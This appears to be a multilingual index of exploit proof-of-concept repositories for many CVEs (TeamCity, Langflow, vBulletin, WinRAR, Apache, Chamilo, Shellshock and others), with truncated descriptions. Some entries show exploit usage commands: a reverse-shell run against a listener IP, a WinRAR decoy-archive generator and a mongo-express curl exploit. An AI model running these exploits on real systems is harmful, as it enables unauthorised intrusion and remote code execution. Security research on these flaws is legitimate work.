CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

cve-2026-0770-langflow_rce_reproduction

CVE-2026-0770：Langflow execglobals 远程代码执行 CVSS 9.8（严重） | ZDI-CAN-27325 | CWE-829：包含来自不受信任的控制领域的功能 概述 CVE-2026-0770 是 Langflow 中的一个严重未认证远程代码执行漏洞，Langflow 是一个用于构建 LLM 驱动应用的低代码应用框架。该缺陷位于 /api/v1/validate 端点，其中 execglobals 参数被不安全地传递给 Python 的 exec 函数，允许未认证的攻击者以 Langflow 进程的权限（通常为 root）执行任意代码。...

CVE-2025-48827

CVE-2025-48827 - vBulletin 身份验证绕过漏洞利用程序 概述 本仓库包含针对 CVE-2025-48827 的概念验证漏洞利用程序。该漏洞是一个影响 vBulletin 5.0.0–5.7.5 和 6.0.0–6.0.3（在 PHP 8.1 或更高版本上运行时）的严重身份验证绕过漏洞。该漏洞允许未经身份验证的攻击者远程调用受保护的 API 方法，可能导致远程代码执行和系统完全受损。 作者： pszyszkowski 严重性： 严重 CVE： CVE-2025-48827 参考资料：...

CVE-2022-24442

CVE-2022-24442：JetBrains YouTrack 中的 FreeMarker 服务器端模板注入 通过在通知 FTL 文件中插入恶意内容，攻击者可以执行 SSTI（服务器端模板注入）攻击，利用 FreeMarker 暴露的对象绕过限制并获得 RCE（远程代码执行）。 注意： 此问题因对 CVE-2021-25770 的修复不完整而存在。 厂商披露： 该漏洞的厂商披露和修复可在此处找到。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详细信息和利用过程可在本 PDF 中找到。 其他资源： 精彩文章 由 Synacktiv 的 Vincent Herbulot...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

cve-2007-2447

CVE-2007-2447 前提条件 pysmb 情報 CVE-2007-2447 は、Sambaのバージョン3.0.0から3.0.25rc3に影響を与えます。攻撃者がusernameパラメータ内でシェルコマンドを実行できるようにします。 使用方法 任意のリスニングポートを開き、スクリプト内の変数を設定して、スクリプトを実行してください。...

CVE-2023-38831

将诱饵文件和（恶意）脚本文件放在当前目录中，诱饵文件建议为图像（.png、.jpg）或文档（.pdf） 2. 运行 python gen-CVE2023-38831.py CLASSIFIEDDOCUMENTS.pdf script.bat poc.rar 以生成漏洞利用程序...

CVE-2021-42013

CVE-2021-42013 寄稿者 석은호@eunho87 CVE-2021-42013 Apache http Server パストラバーサル 脆弱性の概要 Apache HTTP Server 2.4.50 のパス正規化処理に存在するバグにより、認証なしで 任意のファイルを読み取ったり、リモートコードを実行したりできます。 CVE-2021-41773 の不完全なパッチによって発生し、二重 URL エンコード %%32%65 を介して Apache のパスブロックをバイパスします。 参考資料 NVD - CVE-2021-42013 Apache Security Advisory...

CVE-2025-55182

CVE-2025-55182 React2Shell エクスプロイト PoC ⚠️ 警告: このプロジェクトはセキュリティ研究目的のみに意図的に脆弱なソフトウェアを使用しています。 クレジット PoCの全クレジットは @maple3142 に帰属します セットアップと実行 Docker root@kitploit: docker-compose up --build アプリは http://localhost:3000 で利用可能になります エクスプロイト root@kitploit: python3 CVE-2025-55182.py ⚠️ 法的免責事項...

graylog-cve-2024-24824-exploit

在 JVM 上利用任意类加载 本仓库包含我在演讲中展示的概念验证漏洞利用： 在 JVM 上利用任意类加载 如果你感兴趣，可以在这里观看：Youtube 该漏洞利用针对 CVE-2024-24824 （幻灯片中有一处小拼写错误），这是一个影响 Graylog 2.0.0 至 5.2.3 版本的任意类加载漏洞。 这项研究没有将任意类加载视为最终目标，而是通过分析可用的 JVM 类路径，探讨如何滥用该原语来发现并构建越来越强大的漏洞利用技术。 Overview 如果能够使用攻击者控制的数据实例化任意类，那么挑战就变成了： 我们到底能用它做什么？ 答案完全取决于目标应用程序类路径中存在哪些类。...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 未认证任意文件上传 → RCE CVE-2026-1357 （CVSS 9.8 严重，CWE-434）的 PoC：WordPress 的 WPvivid Backup & Migration 插件中存在未认证的任意文件上传漏洞，可导致远程代码执行。已在 0.9.124 （变更集 3448386）中修复。由 Lucas Montes 通过 Wordfence 漏洞赏金计划报告。 root@kitploit: ███████╗ █████╗ ██╗ ██╗ ███╗ ███╗...

cve-2020-0796

CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的；在解压数据包的时候使用客户端传过来的长度进行解压时，并没有检查长度是否合法，最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。 该漏洞类似于永恒之蓝（MS17-010）。 受影响的版本： Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for ARM64-based Systems Windows 10 Version 1903 for x64-based Systems Windows 10...

CVE-2026-33017

CVE-2026-33017 — Langflow 未授权 RCE PoC 免责声明 本仓库仅用于安全研究与教育目的 。 请仅在隔离的实验环境中使用。 在未经授权的系统上使用，属于违反《信息通信网法》的行为，将受到刑事处罚。 1. 漏洞概述 项目| 内容 ---|--- CVE ID| CVE-2026-33017 受影响软件| Langflow AI 工作流构建器 受影响版本| Langflow ≤ 1.8.1 修复版本| Langflow ≥ 1.9.0 漏洞类型| 未授权远程代码执行 RCE CWE| CWE-306 Missing Authentication for...

CVE-2026-21877

CVE-2026-21877 CVE-2026-1357 的实验室环境 1. 构建环境 sudo apt update && sudo apt install docker.io docker-compose -y sudo systemctl start docker git clone Link of Repo sudo chmod +x networkmonitor.py sudo docker compose up --build -d Firefox： http://localhost:5678 测试工作流： "address": "8.8.8.8" 已发布 .. 2...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念验证 Chamilo LMS 未授权大文件上传漏洞，可导致远程代码执行 此代码专为 HackTheBox CTF PERMX 制作和使用 Chamilo LMS v1.11.24 及更早版本中的大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 存在未授权文件上传漏洞，允许向服务器上传任意文件，从而允许我们上传 PHP 反向 shell 该脚本通过创建 PHP shell 文件、将其上传到服务器并启动 netcat 监听器，从而获取反向 shell 用法: python exploit....

CVE-2019-10758

CVE-2019-10758 概念验证 设置 root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL 利用 root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

pocKeycloakCVE-2023-0264

PoC CVE-2023-0264 — 前端（OIDC 会话劫持） 静态前端，针对 Keycloak 执行 OIDC（授权码）流程，并暴露 PoC 的 sessionid 劫持钩子。通过 nginx 在 5174 端口提供服务，供团队使用。 启动（在 VPS 上） root@kitploit: cd vps/pocCVE0264 docker compose up -d --build 它位于 http://maquina:5174。请在云服务商防火墙中开放 5174/TCP （就像你对 8443 所做的那样）。 Keycloak URL 通过环境变量注入（未硬编码在 HTML 中）：在...

CVE-2014-6271-Shellshock-

利用 Shellshock（CVE-2014-6271）：一个完整、现代化的演示实验室 Shellshock（CVE-2014-6271）是迄今为止最具影响力的远程代码执行漏洞之一。该漏洞影响 Bash，并允许攻击者仅通过向环境变量注入精心构造的有效载荷来执行任意命令。 本指南提供了一个完整、可重现的演示，使用： Kali Linux （攻击者） Metasploitable2 （目标） curl 、Burp Suite 、Netcat 手动创建的基于 Bash 的 CGI 脚本 它专为教学、研究、培训和一般网络安全意识而设计。 📌 目录 1. 实验架构 2. 创建有漏洞的 CGI 脚本...

CVE-2025-49132-PHP-PEAR

CVE-2025-49132: Pterodactyl Panel 未授权 RCE via PHP PEAR 方法 目录 概述 漏洞详情 技术分析 利用流程 安装 使用方法 示例 缓解措施 免责声明 参考资料 作者 概述 本仓库包含针对 CVE-2025-49132 的概念验证（PoC）利用代码，该漏洞是 Pterodactyl Panel 1.11.11 之前版本中的一个严重未授权远程代码执行漏洞。 Pterodactyl Panel 是一个免费、开源的游戏服务器管理面板，使用 PHP 构建。该漏洞允许未授权攻击者通过不当处理 /locales/locale.json 端点并结合 PH...

CVE-2023-38035-MobileIron-RCE

MobileIron CVE-2023-38035 Exploit README.md Descripción Este script bash automatiza el proceso de escaneo de sistemas MobileIron vulnerables susceptibles al exploit CVE-2023-38035. El script realiza múltiples comprobaciones, incluyendo verificar los programas necesarios, descargar posibles...